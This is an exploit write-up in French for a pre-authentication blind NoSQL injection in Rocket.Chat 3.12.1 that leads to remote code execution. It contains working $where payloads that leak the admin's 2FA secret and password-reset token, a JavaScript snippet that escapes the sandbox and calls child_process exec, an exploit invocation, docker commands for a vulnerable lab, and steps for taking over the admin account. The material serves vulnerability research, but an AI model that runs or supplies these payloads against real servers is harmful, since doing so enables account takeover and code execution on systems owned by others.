
Injection NoSQL aveugle avant authentification conduisant à une exécution de code à distance dans Rocket Chat 3.12.1
Injection NoSQL aveugle sans authentification menant à l'exécution de code à distance dans Rocket Chat 3.12.1
Ainsi, l'utilisateur admin est très probablement protégé par 2FA. Même si nous changeons le mot de passe de l'admin via (1), il demandera un code 2FA lors de la connexion.
Le point de terminaison API users.list prend un paramètre de requête qui est vulnérable à l'injection NoSQL. Nous pouvons également récupérer des données en provoquant une erreur.
Nous exécutons la requête suivante pour obtenir le secret 2FA de l'admin : {"$where":"this.username==='admin' && (()=>{ throw this.services.totp.secret })()"}
Ensuite, nous faisons simplement (1) pour réinitialiser le mot de passe de l'admin et utilisons le secret 2FA pour générer un code que nous pouvons utiliser pour nous connecter.
Mis à jour : Vous pouvez également récupérer le jeton de réinitialisation de la même manière que vous avez récupéré le secret 2FA : {"$where":"this.username==='admin' && (()=>{ throw this.services.password.reset.token })()"}
const require = console.log.constructor('return process.mainModule.require')();
const { exec } = require('child_process');
exec('command here');
python3 exploit.py -u "[email protected]" -a "[email protected]" -t "http://rocket.local"
docker run --name db -d mongo:3.6 --smallfiles --replSet rs0 --oplogSize 128
docker exec -ti db mongo --eval "printjson(rs.initiate())"
docker run --name rocketchat -p 80:3000 --link db --env ROOT_URL=http://localhost --env MONGO_OPLOG_URL=mongodb://db:27017/local -d rocket.chat:3.12.1
REMARQUE : Si vous ne voulez pas que l'administrateur soit protégé par 2FA, vous pouvez procéder comme suit.
# Admin Account Takover [ No 2fa ]
forgotpassword(adminmail,target)
token = resettoken(target)
changingpassword(target,token)